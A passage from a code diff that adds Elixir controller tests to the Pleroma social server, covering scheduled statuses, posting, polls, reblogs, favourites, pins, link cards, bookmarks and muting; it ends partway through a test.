+
+ # min_id
+ conn_res =
+ conn
+ |> get("/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}")
+
+ result = json_response(conn_res, 200)
+ assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
+
+ # since_id
+ conn_res =
+ conn
+ |> get("/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}")
+
+ result = json_response(conn_res, 200)
+ assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result
+
+ # max_id
+ conn_res =
+ conn
+ |> get("/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}")
+
+ result = json_response(conn_res, 200)
+ assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
+ end
+
+ test "shows a scheduled activity", %{conn: conn} do
+ user = insert(:user)
+ scheduled_activity = insert(:scheduled_activity, user: user)
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
+
+ assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200)
+ assert scheduled_activity_id == scheduled_activity.id |> to_string()
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/scheduled_statuses/404")
+
+ assert %{"error" => "Record not found"} = json_response(res_conn, 404)
+ end
+
+ test "updates a scheduled activity", %{conn: conn} do
+ user = insert(:user)
+ scheduled_activity = insert(:scheduled_activity, user: user)
+
+ new_scheduled_at =
+ NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{
+ scheduled_at: new_scheduled_at
+ })
+
+ assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200)
+ assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at)
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at})
+
+ assert %{"error" => "Record not found"} = json_response(res_conn, 404)
+ end
+
+ test "deletes a scheduled activity", %{conn: conn} do
+ user = insert(:user)
+ scheduled_activity = insert(:scheduled_activity, user: user)
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
+
+ assert %{} = json_response(res_conn, 200)
+ assert nil == Repo.get(ScheduledActivity, scheduled_activity.id)
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
+
+ assert %{"error" => "Record not found"} = json_response(res_conn, 404)
+ end
+end
diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs
new file mode 100644
index 000000000..b194feae6
--- /dev/null
+++ b/test/web/mastodon_api/controllers/status_controller_test.exs
@@ -0,0 +1,1210 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Activity
+ alias Pleroma.ActivityExpiration
+ alias Pleroma.Config
+ alias Pleroma.Object
+ alias Pleroma.Repo
+ alias Pleroma.ScheduledActivity
+ alias Pleroma.User
+ alias Pleroma.Web.ActivityPub.ActivityPub
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ describe "posting statuses" do
+ setup do
+ user = insert(:user)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+
+ [conn: conn]
+ end
+
+ test "posting a status", %{conn: conn} do
+ idempotency_key = "Pikachu rocks!"
+
+ conn_one =
+ conn
+ |> put_req_header("idempotency-key", idempotency_key)
+ |> post("/api/v1/statuses", %{
+ "status" => "cofe",
+ "spoiler_text" => "2hu",
+ "sensitive" => "false"
+ })
+
+ {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key)
+ # Six hours
+ assert ttl > :timer.seconds(6 * 60 * 60 - 1)
+
+ assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} =
+ json_response(conn_one, 200)
+
+ assert Activity.get_by_id(id)
+
+ conn_two =
+ conn
+ |> put_req_header("idempotency-key", idempotency_key)
+ |> post("/api/v1/statuses", %{
+ "status" => "cofe",
+ "spoiler_text" => "2hu",
+ "sensitive" => "false"
+ })
+
+ assert %{"id" => second_id} = json_response(conn_two, 200)
+ assert id == second_id
+
+ conn_three =
+ conn
+ |> post("/api/v1/statuses", %{
+ "status" => "cofe",
+ "spoiler_text" => "2hu",
+ "sensitive" => "false"
+ })
+
+ assert %{"id" => third_id} = json_response(conn_three, 200)
+ refute id == third_id
+
+ # An activity that will expire:
+ # 2 hours
+ expires_in = 120 * 60
+
+ conn_four =
+ conn
+ |> post("api/v1/statuses", %{
+ "status" => "oolong",
+ "expires_in" => expires_in
+ })
+
+ assert fourth_response = %{"id" => fourth_id} = json_response(conn_four, 200)
+ assert activity = Activity.get_by_id(fourth_id)
+ assert expiration = ActivityExpiration.get_by_activity_id(fourth_id)
+
+ estimated_expires_at =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(expires_in)
+ |> NaiveDateTime.truncate(:second)
+
+ # This assert will fail if the test takes longer than a minute. I sure hope it never does:
+ assert abs(NaiveDateTime.diff(expiration.scheduled_at, estimated_expires_at, :second)) < 60
+
+ assert fourth_response["pleroma"]["expires_at"] ==
+ NaiveDateTime.to_iso8601(expiration.scheduled_at)
+ end
+
+ test "posting an undefined status with an attachment", %{conn: conn} do
+ user = insert(:user)
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{
+ "media_ids" => [to_string(upload.id)]
+ })
+
+ assert json_response(conn, 200)
+ end
+
+ test "replying to a status", %{conn: conn} do
+ user = insert(:user)
+ {:ok, replied_to} = CommonAPI.post(user, %{"status" => "cofe"})
+
+ conn =
+ conn
+ |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})
+
+ assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
+
+ activity = Activity.get_by_id(id)
+
+ assert activity.data["context"] == replied_to.data["context"]
+ assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
+ end
+
+ test "replying to a direct message with visibility other than direct", %{conn: conn} do
+ user = insert(:user)
+ {:ok, replied_to} = CommonAPI.post(user, %{"status" => "suya..", "visibility" => "direct"})
+
+ Enum.each(["public", "private", "unlisted"], fn visibility ->
+ conn =
+ conn
+ |> post("/api/v1/statuses", %{
+ "status" => "@#{user.nickname} hey",
+ "in_reply_to_id" => replied_to.id,
+ "visibility" => visibility
+ })
+
+ assert json_response(conn, 422) == %{"error" => "The message visibility must be direct"}
+ end)
+ end
+
+ test "posting a status with an invalid in_reply_to_id", %{conn: conn} do
+ conn =
+ conn
+ |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""})
+
+ assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
+ assert Activity.get_by_id(id)
+ end
+
+ test "posting a sensitive status", %{conn: conn} do
+ conn =
+ conn
+ |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true})
+
+ assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200)
+ assert Activity.get_by_id(id)
+ end
+
+ test "posting a fake status", %{conn: conn} do
+ real_conn =
+ conn
+ |> post("/api/v1/statuses", %{
+ "status" =>
+ "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it"
+ })
+
+ real_status = json_response(real_conn, 200)
+
+ assert real_status
+ assert Object.get_by_ap_id(real_status["uri"])
+
+ real_status =
+ real_status
+ |> Map.put("id", nil)
+ |> Map.put("url", nil)
+ |> Map.put("uri", nil)
+ |> Map.put("created_at", nil)
+ |> Kernel.put_in(["pleroma", "conversation_id"], nil)
+
+ fake_conn =
+ conn
+ |> post("/api/v1/statuses", %{
+ "status" =>
+ "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it",
+ "preview" => true
+ })
+
+ fake_status = json_response(fake_conn, 200)
+
+ assert fake_status
+ refute Object.get_by_ap_id(fake_status["uri"])
+
+ fake_status =
+ fake_status
+ |> Map.put("id", nil)
+ |> Map.put("url", nil)
+ |> Map.put("uri", nil)
+ |> Map.put("created_at", nil)
+ |> Kernel.put_in(["pleroma", "conversation_id"], nil)
+
+ assert real_status == fake_status
+ end
+
+ test "posting a status with OGP link preview", %{conn: conn} do
+ Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ Config.put([:rich_media, :enabled], true)
+
+ conn =
+ conn
+ |> post("/api/v1/statuses", %{
+ "status" => "https://example.com/ogp"
+ })
+
+ assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200)
+ assert Activity.get_by_id(id)
+ end
+
+ test "posting a direct status", %{conn: conn} do
+ user2 = insert(:user)
+ content = "direct cofe @#{user2.nickname}"
+
+ conn =
+ conn
+ |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"})
+
+ assert %{"id" => id} = response = json_response(conn, 200)
+ assert response["visibility"] == "direct"
+ assert response["pleroma"]["direct_conversation_id"]
+ assert activity = Activity.get_by_id(id)
+ assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id]
+ assert activity.data["to"] == [user2.ap_id]
+ assert activity.data["cc"] == []
+ end
+ end
+
+ describe "posting scheduled statuses" do
+ test "creates a scheduled activity", %{conn: conn} do
+ user = insert(:user)
+ scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{
+ "status" => "scheduled",
+ "scheduled_at" => scheduled_at
+ })
+
+ assert %{"scheduled_at" => expected_scheduled_at} = json_response(conn, 200)
+ assert expected_scheduled_at == CommonAPI.Utils.to_masto_date(scheduled_at)
+ assert [] == Repo.all(Activity)
+ end
+
+ test "creates a scheduled activity with a media attachment", %{conn: conn} do
+ user = insert(:user)
+ scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{
+ "media_ids" => [to_string(upload.id)],
+ "status" => "scheduled",
+ "scheduled_at" => scheduled_at
+ })
+
+ assert %{"media_attachments" => [media_attachment]} = json_response(conn, 200)
+ assert %{"type" => "image"} = media_attachment
+ end
+
+ test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now",
+ %{conn: conn} do
+ user = insert(:user)
+
+ scheduled_at =
+ NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{
+ "status" => "not scheduled",
+ "scheduled_at" => scheduled_at
+ })
+
+ assert %{"content" => "not scheduled"} = json_response(conn, 200)
+ assert [] == Repo.all(ScheduledActivity)
+ end
+
+ test "returns error when daily user limit is exceeded", %{conn: conn} do
+ user = insert(:user)
+
+ today =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(:timer.minutes(6), :millisecond)
+ |> NaiveDateTime.to_iso8601()
+
+ attrs = %{params: %{}, scheduled_at: today}
+ {:ok, _} = ScheduledActivity.create(user, attrs)
+ {:ok, _} = ScheduledActivity.create(user, attrs)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today})
+
+ assert %{"error" => "daily limit exceeded"} == json_response(conn, 422)
+ end
+
+ test "returns error when total user limit is exceeded", %{conn: conn} do
+ user = insert(:user)
+
+ today =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(:timer.minutes(6), :millisecond)
+ |> NaiveDateTime.to_iso8601()
+
+ tomorrow =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(:timer.hours(36), :millisecond)
+ |> NaiveDateTime.to_iso8601()
+
+ attrs = %{params: %{}, scheduled_at: today}
+ {:ok, _} = ScheduledActivity.create(user, attrs)
+ {:ok, _} = ScheduledActivity.create(user, attrs)
+ {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow})
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow})
+
+ assert %{"error" => "total limit exceeded"} == json_response(conn, 422)
+ end
+ end
+
+ describe "posting polls" do
+ test "posting a poll", %{conn: conn} do
+ user = insert(:user)
+ time = NaiveDateTime.utc_now()
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{
+ "status" => "Who is the #bestgrill?",
+ "poll" => %{"options" => ["Rei", "Asuka", "Misato"], "expires_in" => 420}
+ })
+
+ response = json_response(conn, 200)
+
+ assert Enum.all?(response["poll"]["options"], fn %{"title" => title} ->
+ title in ["Rei", "Asuka", "Misato"]
+ end)
+
+ assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430
+ refute response["poll"]["expred"]
+ end
+
+ test "option limit is enforced", %{conn: conn} do
+ user = insert(:user)
+ limit = Config.get([:instance, :poll_limits, :max_options])
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{
+ "status" => "desu~",
+ "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1}
+ })
+
+ %{"error" => error} = json_response(conn, 422)
+ assert error == "Poll can't contain more than #{limit} options"
+ end
+
+ test "option character limit is enforced", %{conn: conn} do
+ user = insert(:user)
+ limit = Config.get([:instance, :poll_limits, :max_option_chars])
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{
+ "status" => "...",
+ "poll" => %{
+ "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)],
+ "expires_in" => 1
+ }
+ })
+
+ %{"error" => error} = json_response(conn, 422)
+ assert error == "Poll options cannot be longer than #{limit} characters each"
+ end
+
+ test "minimal date limit is enforced", %{conn: conn} do
+ user = insert(:user)
+ limit = Config.get([:instance, :poll_limits, :min_expiration])
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{
+ "status" => "imagine arbitrary limits",
+ "poll" => %{
+ "options" => ["this post was made by pleroma gang"],
+ "expires_in" => limit - 1
+ }
+ })
+
+ %{"error" => error} = json_response(conn, 422)
+ assert error == "Expiration date is too soon"
+ end
+
+ test "maximum date limit is enforced", %{conn: conn} do
+ user = insert(:user)
+ limit = Config.get([:instance, :poll_limits, :max_expiration])
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses", %{
+ "status" => "imagine arbitrary limits",
+ "poll" => %{
+ "options" => ["this post was made by pleroma gang"],
+ "expires_in" => limit + 1
+ }
+ })
+
+ %{"error" => error} = json_response(conn, 422)
+ assert error == "Expiration date is too far in the future"
+ end
+ end
+
+ test "get a status", %{conn: conn} do
+ activity = insert(:note_activity)
+
+ conn =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}")
+
+ assert %{"id" => id} = json_response(conn, 200)
+ assert id == to_string(activity.id)
+ end
+
+ test "get statuses by IDs", %{conn: conn} do
+ %{id: id1} = insert(:note_activity)
+ %{id: id2} = insert(:note_activity)
+
+ query_string = "ids[]=#{id1}&ids[]=#{id2}"
+ conn = get(conn, "/api/v1/statuses/?#{query_string}")
+
+ assert [%{"id" => ^id1}, %{"id" => ^id2}] = Enum.sort_by(json_response(conn, :ok), & &1["id"])
+ end
+
+ describe "deleting a status" do
+ test "when you created it", %{conn: conn} do
+ activity = insert(:note_activity)
+ author = User.get_cached_by_ap_id(activity.data["actor"])
+
+ conn =
+ conn
+ |> assign(:user, author)
+ |> delete("/api/v1/statuses/#{activity.id}")
+
+ assert %{} = json_response(conn, 200)
+
+ refute Activity.get_by_id(activity.id)
+ end
+
+ test "when you didn't create it", %{conn: conn} do
+ activity = insert(:note_activity)
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> delete("/api/v1/statuses/#{activity.id}")
+
+ assert %{"error" => _} = json_response(conn, 403)
+
+ assert Activity.get_by_id(activity.id) == activity
+ end
+
+ test "when you're an admin or moderator", %{conn: conn} do
+ activity1 = insert(:note_activity)
+ activity2 = insert(:note_activity)
+ admin = insert(:user, info: %{is_admin: true})
+ moderator = insert(:user, info: %{is_moderator: true})
+
+ res_conn =
+ conn
+ |> assign(:user, admin)
+ |> delete("/api/v1/statuses/#{activity1.id}")
+
+ assert %{} = json_response(res_conn, 200)
+
+ res_conn =
+ conn
+ |> assign(:user, moderator)
+ |> delete("/api/v1/statuses/#{activity2.id}")
+
+ assert %{} = json_response(res_conn, 200)
+
+ refute Activity.get_by_id(activity1.id)
+ refute Activity.get_by_id(activity2.id)
+ end
+ end
+
+ describe "reblogging" do
+ test "reblogs and returns the reblogged status", %{conn: conn} do
+ activity = insert(:note_activity)
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/reblog")
+
+ assert %{
+ "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1},
+ "reblogged" => true
+ } = json_response(conn, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "reblogged status for another user", %{conn: conn} do
+ activity = insert(:note_activity)
+ user1 = insert(:user)
+ user2 = insert(:user)
+ user3 = insert(:user)
+ CommonAPI.favorite(activity.id, user2)
+ {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id)
+ {:ok, reblog_activity1, _object} = CommonAPI.repeat(activity.id, user1)
+ {:ok, _, _object} = CommonAPI.repeat(activity.id, user2)
+
+ conn_res =
+ conn
+ |> assign(:user, user3)
+ |> get("/api/v1/statuses/#{reblog_activity1.id}")
+
+ assert %{
+ "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2},
+ "reblogged" => false,
+ "favourited" => false,
+ "bookmarked" => false
+ } = json_response(conn_res, 200)
+
+ conn_res =
+ conn
+ |> assign(:user, user2)
+ |> get("/api/v1/statuses/#{reblog_activity1.id}")
+
+ assert %{
+ "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2},
+ "reblogged" => true,
+ "favourited" => true,
+ "bookmarked" => true
+ } = json_response(conn_res, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "returns 400 error when activity is not exist", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/foo/reblog")
+
+ assert json_response(conn, 400) == %{"error" => "Could not repeat"}
+ end
+ end
+
+ describe "unreblogging" do
+ test "unreblogs and returns the unreblogged status", %{conn: conn} do
+ activity = insert(:note_activity)
+ user = insert(:user)
+
+ {:ok, _, _} = CommonAPI.repeat(activity.id, user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/unreblog")
+
+ assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "returns 400 error when activity is not exist", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/foo/unreblog")
+
+ assert json_response(conn, 400) == %{"error" => "Could not unrepeat"}
+ end
+ end
+
+ describe "favoriting" do
+ test "favs a status and returns it", %{conn: conn} do
+ activity = insert(:note_activity)
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/favourite")
+
+ assert %{"id" => id, "favourites_count" => 1, "favourited" => true} =
+ json_response(conn, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "returns 400 error for a wrong id", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/1/favourite")
+
+ assert json_response(conn, 400) == %{"error" => "Could not favorite"}
+ end
+ end
+
+ describe "unfavoriting" do
+ test "unfavorites a status and returns it", %{conn: conn} do
+ activity = insert(:note_activity)
+ user = insert(:user)
+
+ {:ok, _, _} = CommonAPI.favorite(activity.id, user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/unfavourite")
+
+ assert %{"id" => id, "favourites_count" => 0, "favourited" => false} =
+ json_response(conn, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "returns 400 error for a wrong id", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/1/unfavourite")
+
+ assert json_response(conn, 400) == %{"error" => "Could not unfavorite"}
+ end
+ end
+
+ describe "pinned statuses" do
+ setup do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"})
+
+ [user: user, activity: activity]
+ end
+
+ clear_config([:instance, :max_pinned_statuses]) do
+ Config.put([:instance, :max_pinned_statuses], 1)
+ end
+
+ test "pin status", %{conn: conn, user: user, activity: activity} do
+ id_str = to_string(activity.id)
+
+ assert %{"id" => ^id_str, "pinned" => true} =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/pin")
+ |> json_response(200)
+
+ assert [%{"id" => ^id_str, "pinned" => true}] =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
+ |> json_response(200)
+ end
+
+ test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do
+ {:ok, dm} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"})
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{dm.id}/pin")
+
+ assert json_response(conn, 400) == %{"error" => "Could not pin"}
+ end
+
+ test "unpin status", %{conn: conn, user: user, activity: activity} do
+ {:ok, _} = CommonAPI.pin(activity.id, user)
+
+ id_str = to_string(activity.id)
+ user = refresh_record(user)
+
+ assert %{"id" => ^id_str, "pinned" => false} =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/unpin")
+ |> json_response(200)
+
+ assert [] =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
+ |> json_response(200)
+ end
+
+ test "/unpin: returns 400 error when activity is not exist", %{conn: conn, user: user} do
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/1/unpin")
+
+ assert json_response(conn, 400) == %{"error" => "Could not unpin"}
+ end
+
+ test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do
+ {:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})
+
+ id_str_one = to_string(activity_one.id)
+
+ assert %{"id" => ^id_str_one, "pinned" => true} =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{id_str_one}/pin")
+ |> json_response(200)
+
+ user = refresh_record(user)
+
+ assert %{"error" => "You have already pinned the maximum number of statuses"} =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity_two.id}/pin")
+ |> json_response(400)
+ end
+ end
+
+ describe "cards" do
+ setup do
+ Config.put([:rich_media, :enabled], true)
+
+ user = insert(:user)
+ %{user: user}
+ end
+
+ test "returns rich-media card", %{conn: conn, user: user} do
+ Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "https://example.com/ogp"})
+
+ card_data = %{
+ "image" => "http://ia.media-imdb.com/images/rock.jpg",
+ "provider_name" => "example.com",
+ "provider_url" => "https://example.com",
+ "title" => "The Rock",
+ "type" => "link",
+ "url" => "https://example.com/ogp",
+ "description" =>
+ "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.",
+ "pleroma" => %{
+ "opengraph" => %{
+ "image" => "http://ia.media-imdb.com/images/rock.jpg",
+ "title" => "The Rock",
+ "type" => "video.movie",
+ "url" => "https://example.com/ogp",
+ "description" =>
+ "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer."
+ }
+ }
+ }
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/card")
+ |> json_response(200)
+
+ assert response == card_data
+
+ # works with private posts
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "https://example.com/ogp", "visibility" => "direct"})
+
+ response_two =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/statuses/#{activity.id}/card")
+ |> json_response(200)
+
+ assert response_two == card_data
+ end
+
+ test "replaces missing description with an empty string", %{conn: conn, user: user} do
+ Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "https://example.com/ogp-missing-data"})
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/card")
+ |> json_response(:ok)
+
+ assert response == %{
+ "type" => "link",
+ "title" => "Pleroma",
+ "description" => "",
+ "image" => nil,
+ "provider_name" => "example.com",
+ "provider_url" => "https://example.com",
+ "url" => "https://example.com/ogp-missing-data",
+ "pleroma" => %{
+ "opengraph" => %{
+ "title" => "Pleroma",
+ "type" => "website",
+ "url" => "https://example.com/ogp-missing-data"
+ }
+ }
+ }
+ end
+ end
+
+ test "bookmarks" do
+ user = insert(:user)
+ for_user = insert(:user)
+
+ {:ok, activity1} =
+ CommonAPI.post(user, %{
+ "status" => "heweoo?"
+ })
+
+ {:ok, activity2} =
+ CommonAPI.post(user, %{
+ "status" => "heweoo!"
+ })
+
+ response1 =
+ build_conn()
+ |> assign(:user, for_user)
+ |> post("/api/v1/statuses/#{activity1.id}/bookmark")
+
+ assert json_response(response1, 200)["bookmarked"] == true
+
+ response2 =
+ build_conn()
+ |> assign(:user, for_user)
+ |> post("/api/v1/statuses/#{activity2.id}/bookmark")
+
+ assert json_response(response2, 200)["bookmarked"] == true
+
+ bookmarks =
+ build_conn()
+ |> assign(:user, for_user)
+ |> get("/api/v1/bookmarks")
+
+ assert [json_response(response2, 200), json_response(response1, 200)] ==
+ json_response(bookmarks, 200)
+
+ response1 =
+ build_conn()
+ |> assign(:user, for_user)
+ |> post("/api/v1/statuses/#{activity1.id}/unbookmark")
+
+ assert json_response(response1, 200)["bookmarked"] == false
+
+ bookmarks =
+ build_conn()
+ |> assign(:user, for_user)
+ |> get("/api/v1/bookmarks")
+
+ assert [json_response(response2, 200)] == json_response(bookmarks, 200)
+ end
+
+ describe "conversation muting" do
+ setup do
+ post_user = insert(:user)
+ user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(post_user, %{"status" => "HIE"})
+
+ [user: user, activity: activity]
+ end
+
+ test "mute conversation", %{conn: conn, user: user, activity: activity} do
+ id_str = to_string(activity.id)
+
+ assert %{"id" => ^id_str, "muted" => true} =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/mute")
+ |> json_response(200)
+ end
+
+ test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do
+ {:ok, _} = CommonAPI.add_mute(user, activity)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/mute")
+
+ assert json_response(conn, 400) == %{"error" => "conversation is already muted"}
+ end
+
+ test "unmute conversation", %{conn: conn, user: user, activity: activity} do
+ {:ok, _} = CommonAPI.add_mute(user, activity)
+
+ id_str = to_string(activity.id)
+ user = refresh_record(user)
+
+ assert %{"id" => ^id_str, "muted" => false} =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/unmute")
+ |> json_response(200)
+ end
+ end
+
+ test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do
+ user1 = insert(:user)
+ user2 = insert(:user)
+ user3 = insert(:user)
+
+ {:ok, replied_to} = CommonAPI.post(user1, %{"status" => "cofe"})
+
+ # Reply to status from another user
+ conn1 =
+ conn
+ |> assign(:user, user2)
+ |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})
+
+ assert %{"content" => "xD", "id" => id} = json_response(conn1, 200)
+
+ activity = Activity.get_by_id_with_object(id)
+
+ assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"]
+ assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
+
+ # Reblog from the third user
+ conn2 =
+ conn
+ |> assign(:user, user3)
+ |> post("/api/v1/statuses/#{activity.id}/reblog")
+
+ assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} =
+ json_response(conn2, 200)
+
+ assert to_string(activity.id) == id
+
+ # Getting third user status
+ conn3 =
+ conn
+ |> assign(:user, user3)
+ |> get("api/v1/timelines/home")
+
+ [reblogged_activity] = json_response(conn3, 200)
+
+ assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id
+
+ replied_to_user = User.get_by_ap_id(replied_to.data["actor"])
